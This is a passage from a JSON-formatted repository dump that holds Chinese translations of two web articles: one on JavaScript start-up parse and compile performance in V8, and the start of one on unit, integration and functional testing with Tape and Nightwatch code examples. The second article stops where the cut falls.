    "content": "> * 原文地址：[JavaScript Start-up Performance](https://medium.com/@addyosmani/javascript-start-up-performance-69200f43b201#.f2ifedbt2)\n* 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[vuuihc](https://github.com/vuuihc)\n* 校对者：[fghpdf](https://github.com/fghpdf), [skyar2009](https://github.com/skyar2009)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*ZpwZLFDNYZodJDerr7-37A.png\">\n\n# JavaScript 启动性能探究 #\n\n作为 web 开发者，都知道 web 项目开发到最后，页面规模很容易变的很大。 但 **加载** 一个网页远不止从网线上传送字节码那么简单。浏览器下载了页面脚本之后，它还必须解析、解释和运行它们。这篇文章将深入 JavaScript 的这一部分，研究 **为什么** 这一过程会拖慢应用程序的启动，以及 **如何** 解决。\n\n过去，人们并没有花很多时间优化 JavaScript 的解析、编译步骤。我们总是期望解析器在遇到 script 标签时立即解析和执行代码，但是情况并非如此。 **以下是对 V8 引擎工作原理的简要分析**：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*GuWInZljjvtDpdeT6O0emA.png\" >\n\n上图是描述 V8 工作流程的简图，这是我们正在努力达到的理想化流程。\n\n我们来着重分析几个主要阶段。\n\n#### **启动时拖慢应用的是什么?** ####\n\n在启动期间，JavaScript 引擎花费 **显著** 的时间来解析、编译和执行脚本。这一阶段很关键，因为如果它用时太多，将会 **延后** 用户可以与我们的网站 **互动** 的时间点。想象一下，如果用户可以看到一个按钮，但很多秒之后才能点击或触摸，这将会 **降低** 用户体验。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/0*M94-AavlZjGoudZG.\">\n\nV8 的 Chrome Canary 中的 Runtime Call Stats 分析出的流行网站的解析和编译时间。注意，桌面端本就缓慢的解析、编译过程，在一般手机上则需要更长的时间。\n\n启动时间对 **性能敏感的** 代码很重要。事实上，V8 —— Chrome 的 JavaScript 引擎，在 Facebook，Wikipedia 和 Reddit 等顶级网站上都会花费大量时间来解析和编译脚本：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*XjHkzz0B7KlcDbLFD1JS8Q.png\">\n\n粉红色区域（JavaScript）表示在 V8 和 Blink 的 C++ 中花费的时间，而橙色和黄色则表示解析和编译所用时间。\n\n在你可能正在使用的 **大量** 大型网站和框架中，解析和编译也被视为一个性能瓶颈。以下是来自 Facebook 的 Sebastian Markbage 和 Google 的 Rob Wormald 的推文：\n\n![Markdown](http://p1.bqimg.com/1949/1b2fcab3d77309c1.png)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*nkJwMuE5PpgF_pE0e6RM6g.jpeg\">\n\nSam Saccone 在 [Planning for Performance](https://www.youtube.com/watch?v=RWLzUnESylc) 中提到了 JS 解析的成本。\n\n随着我们进入一个逐渐移动化的世界，我们有必要知道 **解析、编译在手机上花费的时间通常是在桌面上的 2 - 5 倍**。高端手机（例如 iPhone 或 Pixel）的表现与 Moto G4 非常不同。这更说明了测试代表性硬件（不仅仅是高端硬件！）的重要性，只有这样，用户体验才不会受到影响。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*dnhO1M_zlmAhvtQY_7tZmA.jpeg\">\n\n1 MB 的 JavaScript 文件在不同类别的桌面设备和移动设备上的 [解析时间](https://docs.google.com/a/google.com/spreadsheets/d/1Zk0HDGvqNO_8jaudF2jwTItI-H0blD8_ShHfLsnp_Us/edit?usp=sharing)。可以注意到，像 iPhone 7 这样的高端手机的性能和 Macbook Pro 是多么接近，而沿着图表向下看，普通的移动硬件性能则不一样了。\n\n如果应用程序需要传输的文件很大，那么被广泛采用的现代打包技术，如 code-splitting、tree-shaking 和 Service Worker caching 可以产生巨大作用。但是，**即使文件很小，如果代码写得不好或者用了很差的第三方库，也会导致主线程在编译或函数调用时被长时间阻塞。** 整体衡量和理解真正的瓶颈在哪里是很重要的。\n\n### JavaScript 解析、编译是普通网站的瓶颈吗？ ###\n\n『（你说的都对……）但是，我的网站又不是Facebook』，你可能会这样说。 **『外面的一般网站的解析和编译时间所占比例有多大？』**，你可能会这样问。现在我们来研究一下！\n\n我花了两个月时间测试了一系列（6000+）使用了不同库和框架（如 React、Angular、Ember 和 Vue）构建的大型生产站点的性能。其中大多数测试最近可以在 WebPageTest 重做。所以如果你愿意的话，很容易重做这些测试，或者深入研究这些数据。下面是一些分析结果：\n\n**应用在桌面端（使用网线）用 8 秒可以变得可交互，在移动端（ 3G 网络下的 Moto G4 ）则需要 16 秒。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*WC4zanI0DKAoSiJVU3VUeA.png\">\n\n**是什么造成了这一结果？大多数网页应用在桌面端的启动（解析、编译、执行）平均花费了 4 秒。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*NacL9cZJ1osZowPS6hbCsQ.jpeg\">\n\n在移动设备上，解析时间比在桌面设备上多出 36％。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*uTRfB5pne06h8lp5jGtiIQ.jpeg\">\n\n**大家都传输了巨大的 JS 打包文件吗？没有我猜到的那么大，但还有改进的余地。** 410KB，这是开发者传输的 gzip 压缩后的 JS 文件大小的中位数。这与 HTTPArchive 报告的『平均每网页 JS 大小』420KB 比较符合。最差劲的网站会向任何网页请求者发送高达 10MB 的脚本文件。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*GvwfE2GjKQyLBKPmmfRwuA.png\">\n\n**脚本大小很重要，但它不是一切。解析和编译时间不一定随着脚本大小的增加线性增加。** 较小的 JavaScript 打包文件通常会减少 **加载** 时间（忽略浏览器，设备和网络连接的影响），但是你的 200KB 的JS文件不等于别人的 200KB，同样大小的文件可以有差别很大的解析和编译时间。\n\n### **当前如何测量 JavaScript 的解析和编译** ###\n\n**Chrome DevTools**\n\nTimeline (Performance panel) > Bottom-Up/Call Tree/Event Log 可以帮助我们深入了解解析、编译花费的时间。为了得到更完整的分析（比如在解析、编译或惰性编译中花费的时间），我们可以打开 **V8 的 Runtime Call Stats** 。 在 Canary 中，你可以在 Timeline 中的 Experiments > V8 Runtime Call Stats 找到它。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/0*rWkYJzc6Cp0r3Xkr.\">\n\n**Chrome Tracing**\n\n在 Chrome 地址栏输入 **about:tracing** 之后，这个 Chrome 的底层跟踪工具允许我们使用 `disabled-by-default-v8.runtime_stats` 类别来深入了解 V8 的时间消耗详情。V8 几天前发布了一个 [循序渐进的指导文档](https://docs.google.com/presentation/d/1Lq2DD28CGa7bxawVH_2OcmyiTiBn74dvC6vn2essroY/edit#slide=id.g1a504e63c9_2_84) 可以帮助你了解它的用法。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*P-_pLIITtYJRikRN.\">\n\n**WebPageTest**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*y6x_vr7aOxK4jHG9blgseg.png\">\n\n当我们使用 Chrome 的 Capture Dev Tools Timeline 进行跟踪分析时，WebPageTest 的 『Processing Breakdown』 页面包含了对 V8 编译、EvaluateScript 和 FunctionCall 的时间的深入分析。\n\n现在我们还可以通过指定 `disabled-by-default-v8.runtime_stats` 为自定义跟踪类别来获得 **Runtime Call Stats**（WPT 的 Pat Meenan 现在默认这样做！）。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*tV48evC-XzYkoHonyKGkOw.png\">\n\n如果你想知道如何充分利用这一工具，可以参阅我写的 [这篇文档](https://gist.github.com/addyosmani/45b135900a7e3296e22673148ae5165b) 。\n\n**User Timing**\n\n也可以像 Nolan Lawson 下面指出的这样，通过 [User Timing API](https://w3c.github.io/user-timing/#dom-performance-mark) 测量解析时间：\n\n![Markdown](http://p1.bqimg.com/1949/268de751304f859f.png)\n\n第 3 个脚本不重要，第 1 个脚本与第 2 个脚本分开（ *performance.mark()* 在要测试的 script 标签之前执行）是重要的。\n\n**使用此方法时，V8 的 preparser 可能会影响后续重新加载。这可以通过在脚本的结尾处附加一个随机字符串来解决，Nolan 在他的 optimize-js benchmarks 中就是这样做的。**\n\n我使用类似的方法用 Google Analytics 来测量 JavaScript 解析时间的影响：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*ziA8f9KhB1gOt-Mq07cRFw.jpeg\">\n\n自定义的 Google Analytics 维度 『parse』 可让我测量开放环境中访问我的网页的真实用户和设备的 JavaScript 解析时间。\n\n**DeviceTiming**\n\nEtsy的 [DeviceTiming](https://github.com/danielmendel/DeviceTiming) 工具可以帮助测量受控环境中脚本的解析和执行时间。它的工作原理是用测试代码封装本地脚本，以便每次页面被不同的设备（例如笔记本电脑、手机、平板电脑）访问时，我们可以本地比较解析、执行时间。Daniel Espeset的文章 [Benchmarking JS Parsing and Execution on Mobile Devices](http://talks.desp.in/unpacking-the-black-box) 详细介绍了这个工具。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FFzrH2QUiQZFX2rlF5e2-g.jpeg\">\n\n### **当前可以做什么来减少 JavaScript 解析时间?** ###\n\n- **传输更少的 JavaScript。** 需要解析的脚本越少，我们在解析和编译阶段用的时间就越少。\n\n- **使用 code-splitting 技术，只发送用户当前路由需要的代码，延迟加载其余代码。** 想要避免解析太多的 JS，这可能是最有帮助的方法。类似 [PRPL](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) 的模式鼓励这种基于路由的文件分块，现在已经被 Flipkart、Housing.com 和 Twitter 采用。\n\n- **Script streaming:** 过去，V8 已经告诉开发者通过 `async/defer` 选择使用 [Script streaming](https://blog.chromium.org/2015/03/new-javascript-techniques -for-rapid.html) 模式，可以使得解析时间减少 10 - 20％。这允许 HTML 解析器能够至少先检测到资源，将（解析）工作分配给 script streaming 线程，从而不阻塞文档解析。现在，解析器阻塞脚本也有了个模式，不需要做什么额外操作。V8 建议 **先加载较大的打包文件，因只有一个脚本流线程**（之后会说到这点）\n\n- **测量依赖的解析成本** ，比如各种库和框架。在可能的情况下，将它们切换为拥有更快解析速度的依赖（例如，把 React 切换为 Preact 或 Inferno，后两者启动时需要更少的字节码，更少的解析、编译时间）。Paul Lewis 在最近的一篇文章中介绍了 [framework bootup](https://aerotwist.com/blog/when-everything-is-important-nothing-is/) 成本。Sebastian Markbage 也在推文中 [提到](https://twitter.com/sebmarkbage/status/829733454119989248)，**一个测量框架的启动成本的好方法是首先渲染一遍视图，然后删除它，然后再次渲染，这可以告诉你它的启动成本**。因为第一次渲染会（解析、编译）唤起一堆懒编译的代码，之后重复渲染一个更大的代码树时可以不用重复进行。\n\n如果我们选择的 JavaScript 框架支持提前编译模式（AoT），也有助于大大减少在解析、编译中花费的时间。Angular 应用就受益于这种模式，看这个例子：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*sr4eb-cx3lq7hVrJGfDNaw.png\">\n\nNolan Lawson 的 [『解决 Web 性能危机』](https://channel9.msdn.com/Blogs/msedgedev/nolanlaw-web-perf-crisis)\n\n### **当前 *浏览器* 为了减少解析和编译时间在做什么?** ###\n\n并不是只有开发者才认为生产环境的应用启动时间是一个需要改进的领域。V8 发现 Octane 作为有历史的测试平台之一，对我们通常测试的 25 个热门网站的真实性能的测试效果不佳。Octane 对于 1）**JavaScript 框架**（通常代码不是单/多态性）和 2）**实际页面应用程序启动**（大多数是冷启动代码）来说不是一个好的工具。这两个用例对于web 来说非常重要。也就是说，Octane 不是对所有种类的工作负载都是不合理的。\n\nV8 团队一直努力改善启动时间，并且已经在这些地方取得了一些胜利：\n\n![Markdown](http://p1.bqimg.com/1949/1cebbf646ca580f5.png)\n\n在查看我们的 Octane-Codeload 数据之后，我们估计在许多页面上，V8 解析时间提高了25％：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cE8uvuvb0-iZslygh2NCTQ.jpeg\">\n\n我们也看到了 Pinterest 网站在这方面的有所进展。在过去几年中，V8 开展了许多其他探索，以减少解析和编译时间。\n\n**Code caching**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*xChjWSbT1rCqgLMacOMotQ.png\">\n\n来自文章 [使用 V8 的代码缓存](https://www.nativescript.org/blog/using-v8-code-caching-to-minimize-app-load-time-on-android)\n\nChrome 42 引入了[Code caching](http://v8project.blogspot.com/2015/07/code-caching.html)  —— 它通过在本地存储编译后的代码，使得在用户返回页面时，脚本请求、解析和编译过程都可以跳过。我们注意到，这项变更可让 Chrome 在处理页面后续访问时减少约 40％ 的编译时间，但现在我想对这项功能进一步说明：\n\n- **在 72 小时内执行两次** 的脚本才会触发 Code caching。\n\n- 对于 Service Worker 的脚本：对于在 72 小时内执行两次的脚本触发 Code caching。\n\n- 对于通过 Service Worker 存储在 Cache Storage 中的脚本：**首次执行** 脚本就会触发 Code caching。\n\n所以，结论是， **如果我们的代码是在缓存中，V8 会在第 3 次加载时跳过解析和编译。**\n我们可以在 *chrome://flags/#v8-cache-strategies-for-cache-storage* 中查看这些差异。 我们还可以设置 `js-flags=profile-deserialization` 后运行Chrome，看看项目是否从代码缓存中加载（在日志中显示为反序列化事件）。\n\n使用 Code caching 需要注意的一个点是，它只缓存可预编译的代码。通常只是运行一次以设置全局变量的顶层代码。 函数定义通常是惰性编译的，不总是被缓存。 **IIFEs**（optimize-js 用户）也被在 V8 Code caching 缓存，因为它们也可预编译。\n\n**Script Streaming**\n\n[Script streaming](https://blog.chromium.org/2015/03/new-javascript-techniques-for-rapid.html) 允许脚本开始下载后在 **单独的后台线程** 上解析异步或延迟脚本，从而将页面加载速度提高了多达 10％。如前所述，这同样适用于 **同步** 脚本。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*ooXJ0NES-gXEzteaGPL2nQ.png\">\n\n自从该功能首次引入以来，V8 已经切换到允许 **所有脚本**、**甚至** 是 `src=\"\"` 的解析器阻塞脚本在后台线程上解析，所以所有人都应该在这里看到一些成果。唯一需要注意的是，这里只有一个后台线程，所以把大的、关键的脚本先分配给它很重要。**在这里思考任何潜在的优化都很重要。**\n\n**经验之谈是，把 defer 脚本放在 <head> 里，这样 V8 就可以早发现资源，然后在用台线程解析它。**\n\n可以使用 DevTools Timeline 检查是否选择了正确的脚本被流式传输 —— 如果有一个大脚本占用了解析时间，那么（通常）确保它被流式传输接收是有意义的。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FAvUG7DrVJUXCK3oweMSLQ.png\">\n\n**更好地解析和编译**\n\n研发一个更轻量、更快的解析器的工作正在进行，新的解析器会更消耗内存，并且更有效地利用数据结构。今天，V8 的主线程闪避的 **最大** 原因是非线性解析成本。来看一个 UMD 的片段：\n\n(function (global, **module**) { … })(this, function **module**() { *my functions* })\n\nV8 不会知道 **modules** 是否一定是需要的，所以当主脚本编译时不会编译它。当我们决定编译 **modules** 时，我们需要重新解析所有的内部函数。这就是 V8 的解析时间非线性的原因。深度为 n 的每个函数都被解析 n 次，并导致闪避。\n\nV8 已经在致力于在初始编译期间收集内部函数的信息，从而任何未来的编译都可以 **忽略** 它们的内部函数。对于 **module** 风格函数，这应该会导致很大的性能改进。\n\n参阅 ‘[The V8 Parser(s) — Design, Challenges, and Parsing JavaScript Better](https://docs.google.com/presentation/d/1214p4CFjsF-NY4z9in0GEcJtjbyVQgU0A-UqEvovzCs/edit#slide=id.p)’ 以获得更多信息.\n\nV8 也在探索在启动期间将 JavaScript 编译的部分分配到 **后台线程**。\n\n**预编译 JavaScript?**\n\n每隔几年，就会有提供一种方法 **预编译** 脚本的引擎出现，以帮助我们不浪费时间解析或编译代码。它们的想法是，如果不预解析、编译代码，一个构建时或服务器端工具就能直接生成字节码，我们会看到启动速度的巨大提高。我认为，传输字节码将会增加加载时间（文件会更大），可能需要对代码进行签名并做一些安全处理。V8 的立场是，现在探索避免内部重新解析将有助于看到很大的进步，这是预编译可能不能提供的，但同时我们会对可以获得更快的启动时间的想法持开放讨论的态度。也就是说，当开发者在 Service Worker 中更新站点时，V8 正在探索更积极地编译和缓存脚本代码，我们希望这些工作获得一些成果。\n\n我们与 Facebook 和 Akamai 在 BlinkOn 7 讨论了预编译，我的笔记可以在 [这里](https://gist.github.com/addyosmani/4009ee1238c4b1ff6f2a2d8a5057c181) 找到。\n\n**Optimize JS 惰性解析的括号「hack」**\n\n像 V8 这样的 JavaScript 引擎有一个惰性解析启发式方法，在进行一轮完整的解析之前，它们会预先解析我们脚本中的大多数函数（例如检查语法错误）。这是因为大多数页面都有懒惰执行的 JS 函数。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*LMRg_jHJeP53vdy8aiTEJQ.png\">\n\n预解析可以通过仅检查浏览器需要了解的函数的最小集合来加快启动时间。这与 IIFE 有所分歧，虽然引擎尝试跳过对它们的预解析，但是启发式并不总是可靠的，这就是 [optimize-js](https://github.com/nolanlawson/optimize-js) 等工具发挥作用的地方。\n\noptimize-js 提前解析脚本，在它知道（或通过启发式假设）的函数将立即执行的地方插入括号来使其获得 **更快的执行**。对一些函数插入括号是稳妥的（比如带有 ! 的 IIFE）。其它的就是基于启发式的（例如在 Browserify 或 Webpack 包中，假定所有模块都急切加载，就不一定适用这种情况）。总而言之，V8 希望这样的 hack 不再被需要，但现在我们可以认为这是一个优化，如果我们知道你在做什么。\n\n**V8 也在努力降低编译器判断错误的情况下的成本，这也应该减少对括号的需要**\n\n### 总结 ###\n\n**启动性能很重要** 较长的解析、编译和执行时间组合起来会变成希望快速启动的页面的真正瓶颈。你应该 **测量** 你的网页在此阶段花费的时间，探索你可以做什么以使其更快。\n\n我们将尽我们所能从我们的角度继续努力提高 V8 启动性能。 这是我们的承诺;）也希望你们有一个快乐的提高性能的过程！\n\n### **阅读更多** ###\n\n- [Planning for Performance](https://www.youtube.com/watch?v=RWLzUnESylc)\n\n- [Solving the Web Performance Crisis by Nolan Lawson](https://twitter.com/MSEdgeDev/status/819985530775404544) \n\n- [JS Parse and Execution Time](https://timkadlec.com/2014/09/js-parse-and-execution-time/) \n\n- [Measuring Javascript Parse and Load](http://carlos.bueno.org/2010/02/measuring-javascript-parse-and-load.html)\n\n- [Unpacking the Black Box: Benchmarking JS Parsing and Execution on Mobile Devices](https://www.safaribooksonline.com/library/view/velocity-conference-new/9781491900406/part78.html)\n\n-  ([slides](https://speakerdeck.com/desp/unpacking-the-black-box-benchmarking-js-parsing-and-execution-on-mobile-devices)\n\n- [When everything’s important, nothing is!](https://aerotwist.com/blog/when-everything-is-important-nothing-is/) \n\n- [The truth about traditional JavaScript benchmarks](http://benediktmeurer.de/2016/12/16/the-truth-about-traditional-javascript-benchmarks/)\n\n- [Do Browsers Parse JavaScript On Every Page Load](http://stackoverflow.com/questions/1096907/do-browsers-parse-javascript-on-every-page-load/)\n\n\n**向 V8 (Toon Verwaest, Camillo Bruni, Benedikt Meurer, Marja Hölttä, Seth Thompson), Nolan Lawson (MS Edge), Malte Ubl (AMP), Tim Kadlec (Synk), Gray Norton (Chrome DX), Paul Lewis, Matt Gaunt and Rob Wormald (Angular) 致谢，同时感谢他们对本文的修订**\n"
  },
  {
    "path": "TODO/javascript-testing-unit-functional-integration.md",
    "content": "> * 原文地址：[JavaScript Testing: Unit vs Functional vs Integration Tests](http://www.sitepoint.com/javascript-testing-unit-functional-integration)\n* 原文作者：[Eric Elliott](https://www.sitepoint.com/author/eelliott/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[wild-flame](http://github.com/wild-flame)\n* 校对者：[marcmoore](https://github.com/marcmoore)、[Tina92](https://github.com/Tina92)\n\n# JavaScript 测试︰ 单元 vs 功能 vs 集成测试\n\n单元测试、集成测试、功能测试这些自动化测试方法，是项目持续部署的基础。作为一种研发方式，它能帮助你在短时间内安全的发布新特性，而不用等上几个月甚至几年。\n\n自动测试通过捕捉更多的错误，增强了软件到达用户之前的稳定性。就好比是一张防护网一样，使开发者们在做更改的时候不必担心引发未知的错误。\n\n## 忽略测试的代价\n\n与直觉相反，维护一个高质量的测试套件能够极大地提高开发人员的效率，因为它使得开发人员能够立即发现开发中的错误。反过来说，如果没有这些套件，终端用户会遇到更多的 Bug，从而导致需要在用户服务，质量保证和错误报告上面投入更多的资源。\n\n测试驱动开发（TDD）在前期需要更多的时间，但是一旦 Bug 到了用户那里，你会付出更多的代价：\n\n*   它们会影响用户体验，而这会导致你销量下降，用户减少，甚至赶走潜在的客户。\n*   所有的错误报告都必须被 QA 或者开发者亲自验证。\n*   修补这些 Bug 会耗费你大量的时间，因为它导致你必须停下手头的工作。粗略估计每一个 Bug 都将浪费你 20 分钟的时间，而这还没有算你修补它们的时间。\n*   有时候，诊断这些 Bug 的人并不是开发它们的人，这导致了开发人员对代码的不熟悉。\n*   机会成本：开发团队必须等到 Bug 被修补以后，才能继续按照计划开发。\n\n在生产环境里的 Bug 使你付出的代价往往要数倍于在自动化测试时发现的 Bug。换句话说，如果你计算投资与回报的话，测试驱动开发（TDD）将具有压倒性的优势。\n\n## 不同类型的测试\n\n你需要了解的第一件事情就是，每一种测试都有它自己的作用。他们都在软件的持续发布中起了扮演着重要的角色。\n\n前阵子，我为一个野心勃勃的项目做了咨询，这个团队费尽心机的希望搭建一个可靠的测试套件。但因其难以使用和理解，很少派上用场，更无法继续维护。\n\n我观察到的其中一个问题就是，现有套件混淆了单元，功能和集成测试。以至于不同类型的测试之间没有明显的区别。\n\n其结果是现有测试套件不适合任何一个测试套件。\n\n## 在持续发布中这些测试所扮演的角色\n\n每种类型的测试可以发挥其独特的作用。你不用在单元测试、功能测试和集成测试中做选择。因为你会使用全部的这三种测试，并确保可以独立的运行这三种类型的测试套件。\n\n大多数应用程序都需要单元测试和功能测试，而许多复杂的应用程序在此基础上，还需要集成测试。\n\n\n*   **单元测试** 用来确保每个组件正常工作 —— 测试组件的 API 。\n*   **集成测试** 用来确保不同组件互相合作 —— 测试组件的 API, UI, 或者边缘情况（比如数据库I/O，登陆等等）。\n*   **功能测试** 用来确保整个应用会按照用户期望的那样运行 —— 主要测试界面\n\n你应该把单元，集成和功能测试互相隔离开来，这样你就可以在开发时分别的运行它们。在持续的集成过程中，测试一般会出现在下面三个阶段。\n\n*   **开发阶段**，主要是程序员反馈。这时单元测试很有用。\n*   **在中间阶段**，主要是能够在发现问题时立刻停下来。这时各种测试都很有用。\n*   **在生产环境**，主要是运行功能测试套件中一个叫做「冒烟测试」的子集，确保部署的时候没有弄坏什么东西。\n\n如果你问我该使用那个测试？**所有的。**\n\n为了了解如何在您的软件开发过程选择不同测试，你需要了解每种测试所扮演的角色，那些测试大致可分为三大类︰\n\n*   用户体验测试（针对最终用户）\n*   开发 API 测试（针对开发人员）\n*   基础设施测试（负载测试、 网络集成测试等......）\n\n用户体验测试从用户的角度来测试，使用实际的用户界面，通常是在目标平台或设备上。\n\nAPI 测试则从开发者的角度来做测试。我说的可不是 Http API。我说的是一个 Unit 的 API，而一个 Unit 指开发者创建出来用来和其他模块或者类交互的一整个部分。\n\n单元测试：实时的开发者反馈\n\n单元测试是确保单个组件的工作彼此隔绝。一个单元，通常是一个模块、 功能等等...\n\n比方说，您的应用程序可能需要路由一个 URL 到路由处理程序。一个单元测试就用来确保此 URL 解析器正确的解析 URL。而另一个单元测试可能确保路由器为给定的 URL 调用了正确的处理程序。\n\n然而，如果你想测试在接收到特定的 post 请求以后，数据库会添加对应的记录，那么这就是集成测试，而不是单元测试。\n\n单元测试常常被用来开发者的反馈机制。比方说，我在工作时，会在我每一次更改之后运行 lint 和单元测试，在 console 里检测运行的结果。\n\n![Running tests on file change](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2016/04/1461566883dev-console-animated-small.gif)\n\n为了实现这个目的，单元测试必须很快，也就是说，在单元测试里，一切异步的操作都应该被避免。\n\n自集成测试和功能测试非常频繁地依赖于网络连接和文件 I/O，他们会显著减慢测试的速度。当有很多的测试的时候，可以运行的时间可以从毫秒数到几分钟。对于非常大的应用程序，运行完整的测试可以用一个多小时。\n\n一个好的单元测试应该包括以下三点：\n\n*   非常简单\n*   速度很快 - 以迅雷不及掩耳之势\n*   生成一个「好的报告」\n\n什么是「好的报告」呢？\n\n「好的报告」就是能够一眼就告诉你，\n\n1. 什么组件正在被测试\n2. 你期望什么行为\n3. 实际是什么结果\n4. 你期望什么结果\n5. 如何重现\n\n前四个问题应在故障报告中清晰可见，而最后的那个问题应该从测试的执行很清楚的中找到。当然，在一份不合格的报告中有一些 assertion 的类型是不能回答所有问题的,但大部分的问题 ‘equal’、 ’same'，或者 'deepEqual’ 都应该可以做到。事实上，如果那些断言是现有断言库里的唯一断言，现存的大多数测试套件可能会更好。大道至简！\n\n下面这个是我在实际项目中使用 [Tape](https://medium.com/javascript-scene/why-i-use-tape-instead-of-mocha-so-should-you-6aa105d8eaf4) 的做单元测试的例子：\n\n    // Ensure that the initial state of the \"hello\" reducer gets set correctly\n    import test from 'tape';\n    import hello from 'store/reducers/hello';\n\n    test('...initial', assert => {\n      const message = `should set { mode: 'display', subject: 'world' }`;\n\n      const expected = {\n        mode: 'display',\n        subject: 'World'\n      };\n\n      const actual = hello();\n\n      assert.deepEqual(actual, expected, message);\n      assert.end();\n    });\n\n    // Asynchronous test to ensure that a password hash is created as expected.\n    import test from 'tape',\n    import credential from '../credential';\n\n    test('hash', function (t) {\n      // Create a password record\n      const pw = credential();\n\n      // Asynchronously create the password hash\n      pw.hash('foo', function (err, hash) {\n        t.error(err, 'should not throw an error');\n\n        t.ok(JSON.parse(hash).hash,\n          'should be a json string representing the hash.');\n\n        t.end();\n      });\n    });\n\n## 集成测试\n\n集成测试确保各组件一起正常工作。例如，节点路由处理程序可能需要一个记录器（logger）作为依赖。集成测试可测试路由和连接被正确的记录。\n\n这里有两个组件同时被测试了：\n\n1. 路由处理器（Route handler）\n2. 记录器（Logger）\n\n如果我们对 logger 做单元测试，这些测试是不会调用到 route handler，或者说根本就不知道还有个 handler。\n\n如果我们对路由处理器做单元测试。我们不会管 Logger，或者与它有任何关系。我们会对路由做假的请求来测试。\n\nRoute handler 作为一种工厂函数通过依赖注入将 logger 注入进去。我们来看一段批注：\n\n    createRoute({ logger: LoggerInstance }) => RouteHandler\n\n让我们看看如何测试它：\n\n    import test from 'tape';\n\n    import createLog from 'shared/logger';\n    import routeRoute from 'routes/my-route';\n\n    test('logger/route integration', assert => {\n      const msg = 'Logger logs router calls to memory';\n\n      const logMsg = 'hello';\n      const url = `http://127.0.0.1/msg/${ logMsg }`;\n\n      const logger = createLog({ output: 'memory' });\n      const routeHandler = createRoute({ logger });\n\n      routeHandler({ url });\n\n      const actual = logger.memoryLog[0];\n      const expected = logMsg;\n\n      assert.equal(actual, expected, msg);\n      assert.end();\n    });\n\n我们来看看比较重要的细节。首先，我们创建一个 logger，然后在 memory 里做记录：\n\n    const logger = createLog({ output: 'memory' });\n\n创建一个 router，然后把 logger 的依赖传过去\n\n    const routeHandler = createRoute({ logger });\n\n向路由处理器发出假的请求，来测试记录的功能。\n\n    routeHandler({ url });\n\n记录器应该返回内存里的 log。我们只需要检查下面的信息：\n\n      const actual = logger.memoryLog[0];\n\n类似的，对于有数据库读写的操作，你可以连接到数据库，检查数据是不是在那里，等等……\n\n很多集成测试测试相互作用提供服务，如第三方的 Api，并可能需要网络才能正常工作。为此，集成测试应与单元测试分开，以保持尽可能快地运行单元测试。\n\n## 功能测试\n\n功能测试是确保您的应用程序从用户的角度来看正常运行的自动化测试。功能测试测试用户的界面，输入和输出，确保软件按照期望方式做出响应。\n\n功能测试有时被称为端到端测试，因为他们测试整个应用程序，以及与之相关的硬件和网络基础设施，从前端 UI 到后端数据库系统。在这个意义上，功能测试也是一种集成测试，确保机器和组件的都按期望工作。\n\n功能测试通常会彻底测试\"最佳路径” — — 确保关键应用程序的功能，如用户登录、 注册，购买和工作相关的关键工作流的行为符合预期。\n\n通过 [Selenium](https://www.w3.org/TR/2016/WD-webdriver-20160120/) 这类 [WebDriver](https://www.w3.org/TR/2016/WD-webdriver-20160120/) 项目，功能测试能在诸如 [Sauce Labs](https://saucelabs.com/) 这样的云服务上正确运行。\n\n这可能有点奇技淫巧。幸运的是，我们有不少开源项目使得这件事简单不少。\n\n我个人最喜欢的是守夜人项目 —— [Nightwatch.js](http://nightwatchjs.org/)。从守夜人项目文档中可以看到，一个简单的守夜人功能测试套件像看起来是这样︰\n\n    module.exports = {\n      'Demo test Google' : function (browser) {\n        browser\n          .url('http://www.google.com')\n          .waitForElementVisible('body', 1000)\n          .setValue('input[type=text]', 'nightwatch')\n          .waitForElementVisible('button[name=btnG]', 1000)\n          .click('button[name=btnG]')\n          